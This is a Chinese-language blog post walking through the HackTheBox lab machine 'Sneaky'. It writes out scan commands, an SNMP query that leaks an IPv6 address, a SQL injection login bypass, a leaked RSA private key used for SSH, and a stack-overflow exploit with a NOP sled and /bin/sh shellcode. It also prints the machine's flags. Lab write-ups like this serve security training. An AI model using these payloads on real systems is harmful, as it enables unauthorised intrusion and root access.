freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升
maptnh 2025-03-19 20:41:10 34137
所属地 福建省

Information Gathering

IP AddressOpening Ports
10.10.10.20TCP:22,80

$ ip='10.10.10.20'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 5d:5d:2a:97:85:a1:20:e2:26:e4:13:54:58:d6:a4:22 (DSA)
|   2048 a2:00:0e:99:0f:d3:ed:b0:19:d4:6b:a8:b1:93:d9:87 (RSA)
|   256 e3:29:c4:cb:87:98:df:99:6f:36:9f:31:50:e3:b9:42 (ECDSA)
|_  256 e6:85:a8:f8:62:67:f7:01:28:a1:aa:00:b5:60:f2:21 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 400 Bad Request
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

snmp

获取网络配置中泄露的ipv6地址,管理员禁用的对ipv4的访问,通常疏忽了ipv6的访问限制。

$ snmpwalk -v2c -c public 10.10.10.20 ipAddressIfIndex.ipv6 | cut -d'"' -f2 | grep 'de:ad' | sed -E 's/(.{2}):(.{2})/\1\2/g'

image-4.png

image-11.png

dead:beef:0000:0000:0250:56ff:feb9:0752

What is IPV6 && Double colon

示例:2001:0db8:85a3:0000:0000:8a2e:0370:7334

double colon(::) 是一个缩写符号,用于表示连续的零(0)字段

缩写后 2001:0db8:85a3::8a2e:0370:7334

头地址:

地址类型前缀(开头部分)描述
全局单播地址(Global Unicast)2000::/3用于互联网中的唯一可路由地址,相当于 IPv4 的公网 IP。
链路本地地址(Link-Local)FE80::/10仅限于本地链路通信,自动配置,不可跨路由。
站点本地地址(Site-Local,已废弃)FEC0::/10旧的站点本地地址,现在用 ULA (FC00::/7) 替代。
唯一本地地址(Unique Local Address, ULA)FC00::/7类似于 IPv4 的私有地址(10.0.0.0/8192.168.0.0/16),用于本地网络,不能在公网使用。
回环地址(Loopback)::1/128相当于 IPv4 的 127.0.0.1,用于测试本机。
未指定地址(Unspecified Address)::/128相当于 IPv4 的 0.0.0.0,用于表示“没有地址”。
多播地址(Multicast)FF00::/8用于多播通信,相当于 IPv4 的 224.0.0.0/4
IPv4 映射地址(IPv4-Mapped IPv6 Address)::FFFF:0:0/96兼容 IPv4,表示 IPv4 地址的 IPv6 版本,例如 ::FFFF:192.168.1.1
6to4 隧道地址(6to4 Tunnel)2002::/16IPv6 通过 IPv4 进行隧道传输的地址格式。
Teredo 隧道地址(Teredo Tunnel)2001::/32一种 IPv6 穿透 NAT 的隧道机制。
前缀固定的位数自由分配的位数作用
/33 位125 位IPv6 公网地址范围大
/1010 位118 位只用于本地链路,不可路由
/77 位121 位ULA 只限于私有网络
/3232 位96 位用于特定地址分配,如 Teredo
/9696 位32 位IPv4 兼容 IPv6 地址
/128128 位0 位单个设备的固定地址(如 ::1

/10地址范围:
fe80:0000:0000:0000:0000:0000:0000:0000到febf:ffff:ffff:ffff:ffff:ffff:ffff:ffff

IPv6

Local host test

Arch:

image-7.png

fe80::638e:8f07:5bf5:5db0/64

Kali:

image-8.png

fe80::20c:29ff:fecc:f62e/64

Arch:

$ ping -6 'fe80::20c:29ff:fecc:f62e' -I ens33

image-9.png

注意!:通过扫描枚举ipv6地址速度是很慢的..在 IPv4 中,常见的子网是 /24(只有 256 个地址),扫描起来很快。
在 IPv6 中,最小的子网通常是 /64,意味着有 18,446,744,073,709,551,616(2⁶⁴)个可能的地址,暴力扫描几乎不可行。

SNMP-IPV6

image-6.png

SQLI && SSH-IPV6 Bypass

$ feroxbuster --url 'http://10.10.10.20'

image.png

http://10.10.10.20/dev/

image-1.png

image-2.png

admin' or 1=1;#

image-10.png

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5
Lc4V+rY81lS4cWUx/EsnPrUyECJTtVXG1vayffJISugpon49LLqABZbyQzc4GgBr
3mi0MyfiGRh/Xr4L0+SwYdylkuX72E7rLkkigSt4s/zXp5dJmL2RBZDJf1Qh6Ugb
yDxG2ER49/wbdet8BKZ9EG7krGHgta4mfqrBbZiSBG1ST61VFC+G6v6GJQjC02cn
cb+zfPcTvcP0t63kdEreQbdASYK6/e7Iih/5eBy3i8YoNJd6Wr8/qVtmB+FuxcFj
oOqS9z0+G2keBfFlQzHttLr3mh70tgSA0fMKMwIDAQABAoIBAA23XOUYFAGAz7wa
Nyp/9CsaxMHfpdPD87uCTlSETfLaJ2pZsgtbv4aAQGvAm91GXVkTztYi6W34P6CR
h6rDHXI76PjeXV73z9J1+aHuMMelswFX9Huflyt7AlGV0G/8U/lcx1tiWfUNkLdC
CphCICnFEK3mc3Mqa+GUJ3iC58vAHAVUPIX/cUcblPDdOmxvazpnP4PW1rEpW8cT
OtsoA6quuPRn9O4vxDlaCdMYXfycNg6Uso0stD55tVTHcOz5MXIHh2rRKpl4817a
I0wXr9nY7hr+ZzrN0xy5beZRqEIdaDnQG6qBJFeAOi2d7RSnSU6qH08wOPQnsmcB
JkQxeUkCgYEA3RBR/0MJErfUb0+vJgBCwhfjd0x094mfmovecplIUoiP9Aqh77iz
5Kn4ABSCsfmiYf6kN8hhOzPAieARf5wbYhdjC0cxph7nI8P3Y6P9SrY3iFzQcpHY
ChzLrzkvV4wO+THz+QVLgmX3Yp1lmBYOSFwIirt/MmoSaASbqpwhPSUCgYEA2uym
+jZ9l84gdmLk7Z4LznJcvA54GBk6ESnPmUd8BArcYbla5jdSCNL4vfX3+ZaUsmgu
7Z9lLVVv1SjCdpfFM79SqyxzwmclXuwknC2iHtHKDW5aiUMTG3io23K58VDS0VwC
GR4wYcZF0iH/t4tn02qqOPaRGJAB3BD/B8bRxncCgYBI7hpvITl8EGOoOVyqJ8ne
aK0lbXblN2UNQnmnywP+HomHVH6qLIBEvwJPXHTlrFqzA6Q/tv7E3kT195MuS10J
VnfZf6pUiLtupDcYi0CEBmt5tE0cjxr78xYLf80rj8xcz+sSS3nm0ib0RMMAkr4x
hxNWWZcUFcRuxp5ogcvBdQKBgQDB/AYtGhGJbO1Y2WJOpseBY9aGEDAb8maAhNLd
1/iswE7tDMfdzFEVXpNoB0Z2UxZpS2WhyqZlWBoi/93oJa1on/QJlvbv4GO9y3LZ
LJpFwtDNu+XfUJ7irbS51tuqV1qmhmeZiCWIzZ5ahyPGqHEUZaR1mw2QfTIYpLrG
UkbZGwKBgGMjAQBfLX0tpRCPyDNaLebFEmw4yIhB78ElGv6U1oY5qRE04kjHm1k/
Hu+up36u92YlaT7Yk+fsk/k+IvCPum99pF3QR5SGIkZGIxczy7luxyxqDy3UfG31
rOgybvKIVYntsE6raXfnYsEcvfbaE0BsREpcOGYpsE+i7xCRqdLb
-----END RSA PRIVATE KEY-----

$ ssh -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa -i /tmp/id_rsa thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:0752

image-12.png

User.txt

f18b5084af22f6908e2e778569e4682a

Privilege Escalation:NOP sled

image-13.png

/usr/local/bin/chal

$ scp -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa -i /tmp/id_rsa thrasivoulos@[dead:beef:0000:0000:0250:56ff:feb9:0752]:/usr/local/bin/chal /tmp

image-14.png

char var_16e[366]; 这个数组的大小是 366 字节,但它可以存储 最多 365 个字符。

在栈上的局部变量通常会按照对齐要求进行布局,比如:

变量可能会被编译器 对齐到 4 或 8 字节的边界,导致实际可用的空间变小。
其他局部变量(例如返回地址、保存的寄存器、其他局部变量)可能紧邻 var_16e,如果溢出就可能覆盖这些关键数据。

Checksec

如果你这里报错six.py异常,点开我的主页有一篇关于修复该异常的一篇博客

$ gdb -q chal

$ gdb-peda$ checksec

image-16.png

保护机制状态作用您的程序情况
CANARYdisabled栈保护机制,在栈溢出时检测并阻止漏洞利用已禁用,容易受到 栈溢出攻击
FORTIFYdisabled编译时检查 printfstrcpy等函数,防止格式化字符串攻击已禁用,可能有格式化字符串漏洞
NX(No eXecute)disabled让数据段不可执行,防止 shellcode 执行已禁用,意味着可执行数据,可能存在 ROP攻击风险
PIE(Position Independent Executable)disabled使程序地址随机化,提高 ASLR 保护已禁用,程序加载地址固定,易受 重定位攻击
RELRO(Relocation Read-Only)Partial保护 GOT(Global Offset Table),防止 GOT 劫持部分启用,GOT 可能可写,可能存在 GOT 劫持风险

Buffer BOF

(Arch) gdb-peda$ pattern create 1024

thrasivoulos@Sneaky:~$ gdb -q /usr/local/bin/chal

image-17.png

(Arch) gdb-peda$ pattern offset 0x25415525

image-18.png

offset:362

shellcode=>https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit

Confirm NOP Range

根据堆栈,选择合适的SHELLCODE执行地址(设置EIP跳转后的NOP滑行起点):

thrasivoulos@Sneaky(gdb) > r $(python2 -c 'print "A"*362')

thrasivoulos@Sneaky(gdb) > x/100x $esp

image-19.png

选择正确的NOP滑梯:

1.在0xbffff520处的数据是否可执行(X)

实际上数一下也知道写入的应该是>362字节,这里也只有76字节,所以排除

thrasivoulos@Sneaky(gdb) > r $(python2 -c 'print "\x90"*362+"\x20\xf5\xff\xbf"')

image-20.png

  1. 在0xbffff750处的数据是否可执行(√)

image-22.png

thrasivoulos@Sneaky(gdb) > r $(python2 -c 'print "\x90"*362+"\x50\xf7\xff\xbf"')

image-23.png

我们的赛道在:0xbffff740-0xbffff8af

NOP sled exploit

NOP=\x90

SHELLCODE=\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80

EIP=0xbffff740-0xbffff8af

NOP范围:NOP_NUM = 362 - len(SHELLCODE) = 334

比较稳定的在0xbffff750

thrasivoulos@Sneaky(gdb) > r $(python2 -c 'print "\x90"*334 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x50\xf7\xff\xbf"')

image-24.png

thrasivoulos@Sneaky:/tmp$ /usr/local/bin/chal $(python2 -c 'print "\x90"*334 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x50\xf7\xff\xbf"')

image-25.png

Root.txt

2d21ee153f5d1e517dcfc197a58a2e37

# web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 maptnh 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
HackTheBox
PWN
maptnh LV.9
Ценность жизни выше, чем кража данных.
  • 331 文章数
  • 62 关注者
[Meachines] [Medium] Union UHC+SQLI文件读取+TRP00F+命令注入+sudo权限提升
2025-03-24
[Meachines] [Insane] Response SSRF +LDAP劫持+CPRF+Nmap-ssl-cert目录穿越+SMTP劫持+D-Link+MSF-ELF流量解密+SSH私钥破译
2025-03-23
[Meachines] [Medium] RedCross XSS+Firewall-RCE+BOF-ROP-PLT权限提升
2025-03-23
文章目录